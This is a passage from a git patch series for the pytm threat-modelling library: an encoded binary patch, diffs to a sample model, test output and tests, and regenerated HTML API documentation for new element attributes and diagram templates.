zslTWX5i}=wd`(a$)Hh8jMF0`Z<7Ciol2nb_t&gJM)MYIkae_fWNsNn&bNw^@<S>L2
zjF80SEJFo_g)HSZSNY-ty0*tU<t9yz`@v|)KxWYvWYcDG4c{`?i!&piZ}zU%pmg$N
zB2Y*$W$a+*?wbS4HOOs1)IKNhvT`hNc63A^PDBS)U9$ZU%SwLAn>TO31O*4^{_O0m
zLgg?sGlT9OR4$k^@K?%Pss!bJD>K5{X!l{wE;(<xbmhwM&=8pAsdROrM*&lg9Z<I*
z8-OoNay&wD5XeEY>(`+|p$U1&93RPee{P|wrA_V9vL+3N{!S|}P2m28gfh5_B3{1Z
z<Z87}6M3oX#fsX%jI*qpe9no^WK!AwQlB1lws1di(vdG-X5wa&QE&7QY>R#}?-J&3
zqCCG3P|~ojEIPGIj@RJem|4j=3j@OnbU`Z}<doh5-lY)UD*+cT<ElZkNjL)s4nZF4
zTegMoYad6GRZxgQDJa*)%^(>t@fg?cHb`M<Xvu}6&#Sh4Rk~8<&HmTGFz}v@jZKPH
z@%-#`J*qret5|bj%`A8J@1)D5i8?4|?k~be23xPqPX^>`*Dx%bZwvyfXUq|UHnS1;
zLst|oqa3@Y+6VXsb}_t1Wn(QUFtDqu3y#;;by0Z7)ZN4)eHUx}l8N%{_yahi{Y6tp
zDl8M(xFIp!yC;0=#(RJ|JU&KKvvhQ?p^;0e&sI})E0MEwOW-j6313+bkjp`ur`W&q
zR3j(;i*uAZ*=<;W8-KaYb1?0ywO;>b*Xs9O>(!t#C76-nY_x#8EQmy@C+qMFHR=ac
z+^bENMq$&$MMqb`(qa?Q{u+OV$4A8bt8!qxfY<+WxxXk%1`cYsd-agLfny@jNsW-P
zb3=mj_xA^jHi#;d0Lp+Rha=!78X7St9HqcxuA+|MoN#7J$_%i}0OR&isK9^#G$OIK
z{(D>%iX3DGcqc1}p_8>v044S$XLjE~R}4*1EyNdqLGqro{B2F@8ps>q{i_0D2G(x^
zE(e<!hk(H2XgT9}cbOeD0dRK$hkgvGW)svcAn*ayWx6+cN>=Ju@KhGz50UZPeedEZ
zj{Qc%{768+6}U@KhfmPt{n4&*6%CNwH6W%!(I^c|K4owQYoMR6FZ6%%g8p!#5ScRw
zrx-^B{JC8i2{|ww=0??!C;KEIsWrd?hlhv5;=_Je1xu-nw6u1yet@-fe^P-ZXh!H9
z1;c_<h!>BQ<+Z2Q^wnSi*$mo&8wd}P31Yf$6FgL{*NQI|W71!w&O3N>4L}LxA#|r&
z_|nVI&(97&P(ZM9<$6v&juYtI&>b;pRa(Kp7&tQ8aJp_eUlV2k{r4R%vjea>K{h<B
znL3rhP9d${`%h==gTY@&uWk{1E*8#xBmAJmTC-0pFJ4E&xrEk*)DUyQ5o3@DwiT(&
z43*(1{<o{FKYCWtG&6*3XQ$FazGg+f$N3pln6WW_IH(Sgb=$UNq*lKz6dbEwUweVN
zhCYYk!)LIb%4-d+F&S-DZltAA&r6(ubqvJB*sm`>ZI=DhyHzWJh`91I{R12`#Ku+!
zt^CCC6Tk>Khz|g>#fZb#$0z;E7Y&j@Gp?(Y;p*0wG23%IR}`yZF^h}r2Fb4Ot$x%j
zo?=*i_1Z&2Xr!%MhcmVd65m~rY@vq1?_Bv+Gz)1uTuet};4QR&dz(|bXEpf@3}L$6
zc>=*~3=HicZsjl9bC=!}=fE83s=BPq`hhjSv~(9(`%jGK;41(x!eGF<s~cCMiJH1P
z?9D0YXy78FS?`HaT{CHV@`J1GBE;9O^;KBvqQad?<U^~TnA-ipoDeY^lC`^}S!18q
z^?`dn+QpvXb4ytK%IF=Is^;R%PeU}zaKsX<!NByJndNRvC4-DXLrcqGiTn)xD_c%7
ziDOYw5f~iogThb=0pZ&EMa=fyZYCRjWYm7F>dXU&v4LJfi?|em0)m2PEhM_R-1A^v
zpPiW@lL#np42kJCT>VHS^yTMuO?pyf{~M<aZ&GG_7I{@>yIGvQ54tBautQe1-m*Nh
znr;MdIGlItDjWGGZ;!+~wlRPliieM%zi*cZ{r+}p85#DQUg7~wn^DL3tO_TMB${#s
z4sY6@Nei=>8f022`R|X;$7&jGRb_u8n0`Hk=M#f4CnXM4GsAxS#UkK(7#E{DR~ey~
z+rzZ$AJh6~p3*%3NGam>3{SRR9L{twM1H?T!};}lICf~d%H0DJaT84ms$Xfu5{hXo
z=8OAQr-7^88*82M(Jnnz`#Vl1uU~K0xojTp*Da1m<B$|y(sg^B1UV_5*9LuD3dDaj
z4)rTjKjQ2yA)@p~p9m-)vpC*xXc#*+hhKm&^_1YT?TA4XUL`++-bkq84qMn@&t&2k
zIU=I;`yaoFFVe7?kWr<3qL!d|Y<ip@1En$vX9Rb%bMhIEtyWB<xhgzGZ!aOqz3VgC
z(va%uY?tHX5u(|gwU#wr?d*aVA53mD7YyBgl|+klSi!=U*UGwHLiEYE{%*Qw^&_5(
z4<u#R3k*r`htS}lt}XOSgb>q2zJJ7zLBG6Dl$f;ru@ligXv&yd=bQQYi)WJM{U<og
zgL?KCLiJ-V;C3Kh^_s>#w0et`^?4wY>B;+WO@^$7S9zqu-b}737Pg{k;#KL{M=T=@
z7n>y}(r9nkDWr`nymZ2;V8D38CjDf7*;72kTC!}OX^P>ph$Jd4JKP-o4yVHpl`9y1
z@D9|HE&3hgbLUBF6!aJSwjUKMeSCCVxb(7l66Y2nd;bk3&mdnB`s#sZLY(T+3nB0u
z6rz4grrgk8(c>|gAeZxx3ktkJUqSu6FI~k~eO&pjfAlX|ja_>56BfQ&Gs=|yanGM$
zzoB$JeM#YI6YDO+b&+n4OCkNipYBUDmPMR<y^5NdrKhwO6eWI9S&YjhDJPp+eQ|E`
zdUH=5$NjY9d%QTzoZR1VlI)*cS5lry<_IO`Hn{hZLk5%lA~iBt9M|@C+Oq(k&L5`l
z+An9xY0`(xh-rkY88N1?Rc>LUpYRE}jol~n?ZWJ(HL4uzY>MUrZB1omPnj68B_-QD
zLWX<T*$h691gUPeGcaYxy-!9W;X<O)x2do<3WZ71%Vtezsh=nt*y>}4CM6*qXod-?
zZi>H~3{O_f^iPz>*}eaMNGs#QR)1dP1O7v|fRpFOdjWC81kS3>bo|Ufi)B?1@=_cr
zd8WU58e}8bER81~P04(jy0@TG!^!T}Ohy8J-@7LsFLg1MPVO#liZ|ZVz@eKX)GK?W
z_V!@e_DbK~{wQ~RF*oY?<!5b_GT-lh(yZ;OX1Q`dV}D&$fIg+)KPb<pOWE6lpEHBr
z3**^iebpvP_t5j=S2EY)eO*dF2!0D`c1ofxeetjo(<DR=1J;lvLgoDuNBHdKcC=DJ
z0x`qWrb|ts!f`(`_Xv5p581LZ{AH@nQw)Tr%GomfOK-_HTG0%hnqIhP$XSpaalUgb
z{c&Pe#7Fi<U$!faj{-F@9b3#rfAxtk^x53xeb4@%F0MQfs;&>;8QWN@8DpzAYgr>H
zLX@$~SVmN~vS(K)dad(nk|9m9B>NI+p&}J!DO<8c$dV$ZY@smre82mC@B4k<`~5d_
z@45G!d+s^sp5OC(p2s25M{_6~W3YM80nWvh@`;z?3JZt%7M96^)<I{a$aqd|tU)oC
zaBd1#!fH9zW?Acj;EA_MjF^J6a<Y8+T>cU+rEsPveevk}vjA(a`eSRor*+fCF#2~K
z8AXIYimYxMSNc9oYTx(S-Xc~`MeS-VS0nv0J6qn7Ki)6%FA=$}W=h&bjf^km%Ja_%
zpYy~s&T6clWjyCI6J)del4H-$Ao>n$i_r^MTuRg!7V-#?jlRaNR0QJLQmpgU4jd^(
zh*s7#wzK;(X|(52aW9YdxP+*;mt?fW&$}kE-KH_7#lM9l@>5DYF0rw{(B=DnR7(9d
zZ~fuxTcZTHjQQX99en)xHoJSW_E@3#se#3fy*3y(y6ZiBvy)Y_p7v%h$$In8)wl|*
zvBmV6F2^TGbo9KDArEI~cu>Cjg{Wke!6eDpFFsutTREFM3m5fDs1p2|gUXc(S%K}?
z6&s`L>{VI=8Zrh>!7}mQEhDXoO2U}iU1{HT9w%W84vZ+r$Y$zUxK~;f@t7{>TsCsN
zX<*gB<GLf4vsheESkB<mf$h_!wMLtQ=M~BIjr_M+ge9$d&i8Xr2;Unm0y*;m0vYV2
z>D_)#@%6*S$J%4^_bmDPsJ{ICrP7KKf%npxI~XuvDO94}nAvzwDe#<J-C5S|*vHS*
z0@!%S)h}W@z1HmWZ;pS>$x<Ga>==GYnOB)tHZ#4rD|vh7w(g8$&rH%Bg(!?JK7%4p
z|EeQS7DRklsb$3htu1mM*K<W}!j)EN5*32%t+%#Zx#EFQKU+bT^SSxzXk6krE+>(B
zz$=e!z95jt%PMVm?{1O89n{^*@0vT(bQQlcwBrpezj39IYgp!AmJyq0bJ*rzF1ptZ
zTS?>u`>owHeMBvI`tZc25|;!MLqy%9@UE^Z;@g;Wbj0gQ+BAz0ZGUByi47&tAiL*t
z+Lb6i49`V(X*rLGCNW!NPd5C$zIsqa!j{6}=W;xGmxh=uR)|m>Xi68bx<+s>uc%fx
zBGeYyOj%h9=wYl<`7nG28Kg%@5l$8>lSOw)QP#3$%_Me~@fL2jAJsohAkiPS%)hQ@
zQ`-0X-j?1<(^$mW@gcFw*2~nYBN4;bkSQ#-fBMHB)=Jgaqe16BbkD}7#~^t}p9$Qs
zAS%dMZ!%1wh1dtT$zElR%M{w{orkbHNnnlQ)L!5e#<)LtvREg5B^VuFkdC7#(z&Da
zHt#xVZOm3uO~>V6Tg@m}b`u5Tsxdj+O!N@`#I<7KJI1w+HvCW3+o-&9EK(BGJ9{;>
zZypG>pUkH|N{vA#NEu>V-x*>K?;&8ijrVrdKalSdEWg$vCuks-bxlkkS#S-Cn%EPL
z;cE?$Lj0p%+cL-F^oLj;$P)>O@55GtuIxRAv6beeU5vKVsCFze2IXzb4sngO2S`z;
z>p7Pcv(30&p*8cbqA+6@#^Z#n$MtUICUL>_>ZzI3L#fr&Sb{jhzSFFhq#2HBhTqYz
z(l9~_U4nIP1w=AXr_OK3I`Xxe)q32hrt;p1L4;KNv0S4q3y$4-II4urex!4pN9aY7
z49&5C*wQ?4MF&gSSw_TX>T~GsWuMn6Kx9(YFrH%vUE~)|A=F%=w3rjQf!z{#+e-DE
zMPe-l2-W#~3BgMt_wpxopOD-Pgs*jqwcD15;ku+Of*4&_!^n5{?$~<b<B(u37CExh
z45^Y6JB8y%t_t{Lg}OUjqA3{UHeQ-)F|K+_eq}!ta+Wef^wYEPDe(e2Y)HM&y(t#N
z`Xqz6ZO1~zoA8oO4+to@=N#6$vVV0$-YUKk71VBkb=~rtc!SSmhm|9Xz8^tMKNC8%
z8ln{qNxVh)^%3GQRNdDsc^xP|zkpo#3)Mxf3LuV8>p8`O`n&bUiG2I^?GvX#NY@_u
zV+)v_fNK(yv3y?(AOvw*vE7r+KM+8sBj5Wz`4IT#AV3#kASDEoolvlg68$xM2~cQM
z1B?$&dUWhAzwQ!i(H4JfjM-#la=6+?LIWKfk(L!flNky4wCLI}hsNi6w2EDIrNA$R
z9LVXu2dGN|G+q@pbD=<YS)Hkg^z-ur<tRXrq9fHvj^PL^{vvL!4hwr`kbQqx>!$;I
zZ*};^1qdW>WMv%!fhe%1KK$wgjw56%&ZC>XA4uuWIiQ;k2DB&uC(rhwa|2LO(b#F|
z_ivd1&V-I8ACG>jh>RtuVUlEj;vUw50u<mG^UMRu>reW9+S}St;tzmufq{W-r}l-e
z19=a{@9v*P>1Xa*tNoDGA@8nm1(Ox6l}?6$4-;h9*(=?*KCXUTgkYWd+t5-Ys3Ob8
zJ_2}4)Hx5?4}s^uz=G#qk5@Pt%lOs2bz`6@1g#%*^EKG8ro+xWHTCIeiXFUUvSO8T
z<OPSNmx3SXvKH6YXCfV#!-78Fe>92Cj4ER(vI^8O{kPU&FW@3hgDBZ;V;yW5AUucw
znie39m*eA65oP}*xc`{z;DD>v<5jixv*o%&#Bx;hA{q!Y+W~n|@qQOJ<szEC(PekK
z>Re})s8&Q6WH>=q2x*gEBBc8mk!voUPtFZ}2GX42p`QtWAzi{ZHZ`FL9}SO^OPTkx
zfgbgitk`xXceU`q6DB~YTLMBZNnU%4r4R?~#V`pxc*wUBbe6ym;>LO~0IRAW&RQ~O
zfYSvC?x_u60QUkK2Pm^`@jC!fOMk4uwjSiBFcRMkLf5&txF}XHIp6I`%gWj;?gPZb
zpdcpf*a6qF1}^~IC)Jwewmgp6pDl{!rl#eFObBtlgX}aL)I`fO<JC=5y%5j+dS`dq
zZ3c#($HoevU%EH|25o{Y<NOrZ6Osg|X&qm&oH6dyr(ie)qyMpOF*;(zX{W;{?fNGn
zm~g;-0vNaW*kt8oNz3%K`^+*Z#1BSt!+`QO$C>=e+Z9z0xVheSD?8!<?EwTTyPM9y
zWC06`rIKgUuS=Wy`m94koca%*!VH)9p7h?Bf59QjBd!U$*8WInAu45t&J5}|Rj4c%
zs<*U7CTh!wNO<av8^HReENz%agWA@P8Ny_M5EOh4AZhEq#S9YEYP4B+sg+9RDVURC
zKN_Y4d*Km)xXENfRy?3nU$BZf;C<rCCtcB%4hW0ZVL1VMVg4JfjWy`->bcCBHRh9=
z@BWPICqqzP`+K`*lO@mKJ(r!c2RIfaf6|btfQb})a(_>S3Nm4kfsEC`tN}HzL&$gm
zOlJrG27b}?F~hQ6@cubgV*fh`JYfj{kj2%11P~*#?>FE$^lO#gFHW6-|Cx%wRNnx*
zh3w^4cY){Co?V3yc`4Io>xt&`Pn!T=Xpansm>DJ_#Hgs99i%igz#$F#RYdi_jes0n
zUtb^KE08-0^^%}HfJUbKRgPDD%ktize%#)_0sH}VaK|0O&*7Zl7MYfHsNYkWgC_9V
z0VaO`-V-uFpxOPJ<}EN43_M;a3Tmg-Un^jfxn%KJ&J)7+rh`EP07XHBi9T18Na)mn
z_x%sge-E5C#ZXj7SV^L=(44E=q`J2DO)C;+``0Eq{$=r#k1L=9S59wZ8rFlcPXyp$
zpI|r)|G@!nGYb%K4gruhalHCxGGtq8S+=;&sDsM~s#Tr<)N8I?14S6o#r_iBuV$Uu
zeqsogVj!;806!yQ_JZhhU}3{rsRhJA#mMCrjp?U5Xb)gP5LxU)E%gAuh#1R7jhV`B
z(+AVBIYH4IYV5TS^n0wszk54yi^D?Uw&moL@*1P*1Va(e8Z`~b&u;gC6}#V1+|=BB
z=uF)vSm);=2S(MWfWRt0a1EXLQ~nI_!$XY^zomc-Idk0t(seWbmM0z`D=9MOCXL?6
zM8@8<wwmCafYX4Q)=Ywh);h<b*+1|)p+WGH0Kx;<|9c;Jc&4eKfxJqu{anxei1L1)
z$2EIG!@|M<@q!Ojzqu&5w4n<n`TGhie?yRYLOsn;GHzbnZeT^W0X;in;jTkCbmmMr
zBkuJneZaR%Dktt>RM|+y%C_{dtqK(P_~^#ild=kk{$5lc^98=m2%=60?^2T42<uhq
zvAaDU%C8S`@eaS>q(=RH96_!oqV7olSNwkud(QR{<y%0C#AlA$K?LxkR(2WnKoS&_
z_6OqOtHT+{wNIWtm9yLTlVtyS{D^ZEF|PD2XO8>`h=%@K75(8yI@`UoSQ+>}{ZHkj
zkbA*-ZN}2nfPc1cXLE>jRI(XD!2hFeqvQoM754%ni3dLUPQ3cQ&Adp${}oAxBCb$G
z^Y4ZkWpT#ZDyd-b{QlS?EIm)km6O^R^H(=f2vRa~Z@O7Yw7-l0`}ywFh1}vQd&?;X
zT}hGU)t7{tI(en3cM@de3{sGo8-G6rziU+9UK3M9&nyGEb2zUEvB8Q(z%@3!`fs74
zo&TxGO-hE>%?m5W4=4S3^#kA}Erv*fK$0^-5_v1}*V`j0q~;h!-R7izfs-eU_!1H&
z|J-(|NLc8RQxKyhHB5J$9zh(cIRSUl;MKQ+JKcotOEM^7G0F_pA(^_d*!ViqTgiwO
zwQzfp%8r3jwK=2*_Tm)ptbCb^@)*iixHOno{{>ts*ICFybG&Sadvh1DVoVc<wRnOI
zjU8EvcE)SeZtR&5W^?Dyx$|fS;oiEsIYC{N>ec0jm47LAUWRoa^>tSVi+r=kd3?JF
zN!Vi&Q>i4?{$g-5DSS){lj3w{P!PkDb4+;!IjCejeX)#{qB;;xJy~9(Y1dLg-N!<)
zgH>i|@WSabUY?w<^D)TpLIxZUxe$M>BfebNoNS4>dJPb;Jmg}L-->!fxk-xkoYYT6
zYnxUF%o>o6i`5v%)H}f&)gh4tL>GqtWxa{~*=~j?)fsv{Kl$BL&EkBvoU>4gwzJ6X
zrZ69*-XsH&vDI{0Jb#6ist27`;K}&9k4^bi!wiAyMU+OIA3EL}O3BX^87V|^xc#wW
zL1ecJyB~c=_;mlA3)^<B!jzy|{d2g&h@Ov>RleL#$LpPe^T=U+GrbZW$Ebe+>C+f&

diff --git a/tests/output.md b/tests/output.md
index 4bf8c319..23805a06 100644
--- a/tests/output.md
+++ b/tests/output.md
@@ -1,9 +1,12 @@
 <link href="docs/Stylesheet.css" rel="stylesheet"></link>
 
 ## System Description
+&nbsp;
 
 aaa
 
+&nbsp;
+
 ## Dataflow Diagram - Level 0 DFD
 
 ![](sample.png)
@@ -11,6 +14,7 @@ aaa
 &nbsp;
 
 ## Dataflows
+&nbsp;
 
 Name|From|To |Data|Protocol|Port
 |:----:|:----:|:---:|:----:|:--------:|:----:|
@@ -23,156 +27,18 @@ Name|From|To |Data|Protocol|Port
 
 
 ## Data Dictionary
+&nbsp;
 
-Name|Description|Classification|Carried|Processed
-|:----:|:--------:|:----:|:----|:----|
-|auth cookie||PUBLIC|User enters comments (*)<br>|User<br>Web Server<br>|
-
-
-## Actors
-
-
-Name|User
-|:----|:----|
-Description||
-Is Admin|False
-Finding Count|0|
-
-
-
-
-## Boundaries 
-
-
-Name|Internet
-|:----|:----|
-Description||
-In Scope|True|
-Immediate Parent|Primary Boundary|
-All Parents||
-Classification|Classification.UNKNOWN|
-Finding Count|0|
-
-
-
-Name|Server/DB
-|:----|:----|
-Description||
-In Scope|True|
-Immediate Parent|Primary Boundary|
-All Parents||
-Classification|Classification.UNKNOWN|
-Finding Count|0|
-
-
-
-
-## Assets 
-
-
-|Name|Web Server|
-|:----|:----|
-Description||
-In Scope|True|
-Type|Server|
-Finding Count|0|
-
-
-
-|Name|Lambda func|
-|:----|:----|
-Description||
-In Scope|True|
-Type|Lambda|
-Finding Count|0|
-
-
-
-|Name|Task queue worker|
-|:----|:----|
-Description||
-In Scope|True|
-Type|Process|
-Finding Count|0|
-
-
-
-|Name|SQL Database|
-|:----|:----|
-Description||
-In Scope|True|
-Type|Datastore|
-Finding Count|0|
-
-
-
-
-## Data Flows 
-
-
-Name|User enters comments (*)
-|:----|:----|
-Description||
-Sink|Server(Web Server)|
-Source|Actor(User)|
-|Is Response|False
-In Scope|True|
-Finding Count|0|
-
-
-
-Name|Insert query with comments
-|:----|:----|
-Description||
-Sink|Datastore(SQL Database)|
-Source|Server(Web Server)|
-|Is Response|False
-In Scope|True|
-Finding Count|0|
-
-
-
-Name|Call func
-|:----|:----|
-Description||
-Sink|Lambda(Lambda func)|
-Source|Server(Web Server)|
-|Is Response|False
-In Scope|True|
-Finding Count|0|
-
-
-
-Name|Retrieve comments
-|:----|:----|
-Description||
-Sink|Server(Web Server)|
-Source|Datastore(SQL Database)|
-|Is Response|False
-In Scope|True|
-Finding Count|0|
-
-
-
-Name|Show comments (*)
-|:----|:----|
-Description||
-Sink|Actor(User)|
-Source|Server(Web Server)|
-|Is Response|False
-In Scope|True|
-Finding Count|0|
-
+Name|Description|Classification
+|:----:|:--------:|:----:|
+|auth cookie||PUBLIC|
 
 
-Name|Query for tasks
-|:----|:----|
-Description||
-Sink|Datastore(SQL Database)|
-Source|Process(Task queue worker)|
-|Is Response|False
-In Scope|True|
-Finding Count|0|
+&nbsp;
 
+## Potential Threats
 
+&nbsp;
+&nbsp;
 
+||
diff --git a/tests/test_pytmfunc.py b/tests/test_pytmfunc.py
index e43b058e..7cfc89e8 100644
--- a/tests/test_pytmfunc.py
+++ b/tests/test_pytmfunc.py
@@ -352,7 +352,7 @@ def test_report(self):
         Dataflow(worker, db, "Query for tasks")
 
         self.assertTrue(tm.check())
-        output = tm.report("docs/template.md")
+        output = tm.report("docs/basic_template.md")
 
         with open(os.path.join(dir_path, "output_current.md"), "w") as x:
             x.write(output)
diff --git a/tm.py b/tm.py
index b756d7e4..1734ef14 100755
--- a/tm.py
+++ b/tm.py
@@ -17,20 +17,12 @@
 tm.isOrdered = True
 tm.mergeResponses = True
 
-all = Boundary("TM Boundary")
 internet = Boundary("Internet")
-internet.inBoundary = all
-
-company = Boundary("Company")
-company.inBoundary = all
 
 server_db = Boundary("Server/DB")
 server_db.levels = [2]
-server_db.inBoundary = company
 
 vpc = Boundary("AWS VPC")
-vpc.inBoundary = all
-
 
 user = Actor("User")
 user.inBoundary = internet
@@ -42,6 +34,7 @@
 web.sanitizesInput = False
 web.encodesOutput = True
 web.authorizesSource = False
+web.inBoundary = server_db
 
 db = Datastore("SQL Database")
 db.OS = "CentOS"

From c2088e339ac2abd537623406187f442ff806dab6 Mon Sep 17 00:00:00 2001
From: Jan Was <jan@was.net.pl>
Date: Fri, 30 Apr 2021 19:32:28 +0000
Subject: [PATCH 07/86] Update docs

---
 docs/pytm/index.html | 282 +++++++++++++++++++++++++++++++++++--------
 docs/threats.md      |  12 +-
 2 files changed, 235 insertions(+), 59 deletions(-)

diff --git a/docs/pytm/index.html b/docs/pytm/index.html
index bde34e65..f54328a8 100644
--- a/docs/pytm/index.html
+++ b/docs/pytm/index.html
@@ -191,7 +191,7 @@ <h3>Class variables</h3>
 
     port = varInt(-1, doc=&#34;Default TCP port for outgoing data flows&#34;)
     protocol = varString(&#34;&#34;, doc=&#34;Default network protocol for outgoing data flows&#34;)
-    data = varData([], doc=&#34;Default type of data in outgoing data flows&#34;)
+    data = varData([], doc=&#34;pytm.Data object(s) in outgoing data flows&#34;)
     inputs = varElements([], doc=&#34;incoming Dataflows&#34;)
     outputs = varElements([], doc=&#34;outgoing Dataflows&#34;)
     authenticatesDestination = varBool(
@@ -209,7 +209,8 @@ <h3>Class variables</h3>
     providesIntegrity = False
 
     def __init__(self, name, **kwargs):
-        super().__init__(name, **kwargs)</code></pre>
+        super().__init__(name, **kwargs)
+        TM._actors.append(self)</code></pre>
 </details>
 <h3>Ancestors</h3>
 <ul class="hlist">
@@ -260,7 +261,7 @@ <h3>Instance variables</h3>
 </dd>
 <dt id="pytm.Actor.data"><code class="name">var <span class="ident">data</span></code></dt>
 <dd>
-<div class="desc"><p>Default type of data in outgoing data flows</p></div>
+<div class="desc"><p>pytm.Data object(s) in outgoing data flows</p></div>
 <details class="source">
 <summary>
 <span>Expand source code</span>
@@ -512,8 +513,9 @@ <h3>Class variables</h3>
 
     name = varString(&#34;&#34;, required=True)
     description = varString(&#34;&#34;)
+    format = varString(&#34;&#34;)
     classification = varClassification(
-        Classification.PUBLIC,
+        Classification.UNKNOWN,
         required=True,
         doc=&#34;Level of classification for this piece of data&#34;,
     )
@@ -564,7 +566,13 @@ <h3>Class variables</h3>
         )
 
     def __str__(self):
-        return &#34;{0}({1})&#34;.format(type(self).__name__, self.name)</code></pre>
+        return &#34;{0}({1})&#34;.format(type(self).__name__, self.name)
+
+    def _safeset(self, attr, value):
+        try:
+            setattr(self, attr, value)
+        except ValueError:
+            pass</code></pre>
 </details>
 <h3>Instance variables</h3>
 <dl>
@@ -641,6 +649,22 @@ <h3>Instance variables</h3>
     return self.data.get(instance, self.default)</code></pre>
 </details>
 </dd>
+<dt id="pytm.Data.format"><code class="name">var <span class="ident">format</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+    # when x.d is called we get here
+    # instance = x
+    # owner = type(x)
+    if instance is None:
+        return self
+    return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
 <dt id="pytm.Data.isCredentials"><code class="name">var <span class="ident">isCredentials</span></code></dt>
 <dd>
 <div class="desc"><p>Does the data contain authentication information,
@@ -787,7 +811,7 @@ <h3>Instance variables</h3>
         doc=&#34;TLS version used.&#34;,
     )
     protocol = varString(&#34;&#34;, doc=&#34;Protocol used in this data flow&#34;)
-    data = varData([], doc=&#34;Default type of data in incoming data flows&#34;)
+    data = varData([], doc=&#34;pytm.Data object(s) in incoming data flows&#34;)
     authenticatesDestination = varBool(
         False,
         doc=&#34;&#34;&#34;Verifies the identity of the destination,
@@ -823,11 +847,7 @@ <h3>Instance variables</h3>
     color = {color};
     fontcolor = {color};
     dir = {direction};
-    label = &lt;
-        &lt;table border=&#34;0&#34; cellborder=&#34;0&#34; cellpadding=&#34;2&#34;&gt;
-            &lt;tr&gt;&lt;td&gt;&lt;font color=&#34;{color}&#34;&gt;&lt;b&gt;{label}&lt;/b&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;
-        &lt;/table&gt;
-    &gt;;
+    label = &#34;{label}&#34;;
 ]
 &#34;&#34;&#34;
 
@@ -846,7 +866,7 @@ <h3>Instance variables</h3>
         label = self._label()
         if mergeResponses and self.response is not None:
             direction = &#34;both&#34;
-            label += &#34;&lt;br/&gt;&#34; + self.response._label()
+            label += &#34;\n&#34; + self.response._label()
 
         return self._dfd_template().format(
             source=self.source._uniq_name(),
@@ -938,7 +958,7 @@ <h3>Instance variables</h3>
 </dd>
 <dt id="pytm.Dataflow.data"><code class="name">var <span class="ident">data</span></code></dt>
 <dd>
-<div class="desc"><p>Default type of data in incoming data flows</p></div>
+<div class="desc"><p>pytm.Data object(s) in incoming data flows</p></div>
 <details class="source">
 <summary>
 <span>Expand source code</span>
@@ -1293,18 +1313,33 @@ <h3>Methods</h3>
     def _dfd_template(self):
         return &#34;&#34;&#34;{uniq_name} [
     shape = {shape};
+    fixedsize = shape;
+    image = &#34;{image}&#34;;
+    imagescale = true;
     color = {color};
     fontcolor = {color};
-    label = &lt;
-        &lt;table sides=&#34;TB&#34; cellborder=&#34;0&#34; cellpadding=&#34;2&#34;&gt;
-            &lt;tr&gt;&lt;td&gt;&lt;b&gt;{label}&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
-        &lt;/table&gt;
-    &gt;;
+    xlabel = &#34;{label}&#34;;
+    label = &#34;&#34;;
 ]
 &#34;&#34;&#34;
 
     def _shape(self):
-        return &#34;none&#34;</code></pre>
+        return &#34;none&#34;
+
+    def dfd(self, **kwargs):
+        self._is_drawn = True
+
+        levels = kwargs.get(&#34;levels&#34;, None)
+        if levels and not levels &amp; self.levels:
+            return &#34;&#34;
+
+        return self._dfd_template().format(
+            uniq_name=self._uniq_name(),
+            label=self._label(),
+            color=self._color(),
+            shape=self._shape(),
+            image=os.path.join(os.path.dirname(__file__), &#34;images&#34;, &#34;datastore.png&#34;),
+        )</code></pre>
 </details>
 <h3>Ancestors</h3>
 <ul class="hlist">
@@ -1586,8 +1621,7 @@ <h3>Instance variables</h3>
     minTLSVersion = varTLSVersion(
         TLSVersion.NONE,
         required=False,
-        doc=&#34;&#34;&#34;Minimum required TLS version required.
-Note that currently only TLS 1.2 and 1.3 are considered secure.&#34;&#34;&#34;,
+        doc=&#34;&#34;&#34;Minimum TLS version required.&#34;&#34;&#34;,
     )
     findings = varFindings([], doc=&#34;Threats that apply to this element&#34;)
     overrides = varFindings(
@@ -1596,6 +1630,11 @@ <h3>Instance variables</h3>
 a custom response, CVSS score or override other attributes.&#34;&#34;&#34;,
     )
     levels = varInts({0}, doc=&#34;List of levels (0, 1, 2, ...) to be drawn in the model.&#34;)
+    sourceFiles = varStrings(
+        [],
+        required=False,
+        doc=&#34;Location of the source code that describes this element relative to the directory of the model script.&#34;,
+    )
 
     def __init__(self, name, **kwargs):
         for key, value in kwargs.items():
@@ -1627,11 +1666,8 @@ <h3>Instance variables</h3>
     shape = {shape};
     color = {color};
     fontcolor = {color};
-    label = &lt;
-        &lt;table border=&#34;0&#34; cellborder=&#34;0&#34; cellpadding=&#34;2&#34;&gt;
-            &lt;tr&gt;&lt;td&gt;&lt;b&gt;{label}&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
-        &lt;/table&gt;
-    &gt;;
+    label = &#34;{label}&#34;;
+    margin = 0.02;
 ]
 &#34;&#34;&#34;
 
@@ -1659,7 +1695,7 @@ <h3>Instance variables</h3>
         return self.name
 
     def _label(self):
-        return &#34;&lt;br/&gt;&#34;.join(wrap(self.display_name(), 18))
+        return &#34;\\n&#34;.join(wrap(self.display_name(), 18))
 
     def _shape(self):
         return &#34;square&#34;
@@ -1846,8 +1882,7 @@ <h3>Instance variables</h3>
 </dd>
 <dt id="pytm.Element.minTLSVersion"><code class="name">var <span class="ident">minTLSVersion</span></code></dt>
 <dd>
-<div class="desc"><p>Minimum required TLS version required.
-Note that currently only TLS 1.2 and 1.3 are considered secure.</p></div>
+<div class="desc"><p>Minimum TLS version required.</p></div>
 <details class="source">
 <summary>
 <span>Expand source code</span>
@@ -1894,6 +1929,22 @@ <h3>Instance variables</h3>
     return self.data.get(instance, self.default)</code></pre>
 </details>
 </dd>
+<dt id="pytm.Element.sourceFiles"><code class="name">var <span class="ident">sourceFiles</span></code></dt>
+<dd>
+<div class="desc"><p>Location of the source code that describes this element relative to the directory of the model script.</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+    # when x.d is called we get here
+    # instance = x
+    # owner = type(x)
+    if instance is None:
+        return self
+    return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
 </dl>
 <h3>Methods</h3>
 <dl>
@@ -2090,8 +2141,10 @@ <h3>Instance variables</h3>
     severity = varString(&#34;&#34;, required=True, doc=&#34;Threat severity&#34;)
     mitigations = varString(&#34;&#34;, required=True, doc=&#34;Threat mitigations&#34;)
     example = varString(&#34;&#34;, required=True, doc=&#34;Threat example&#34;)
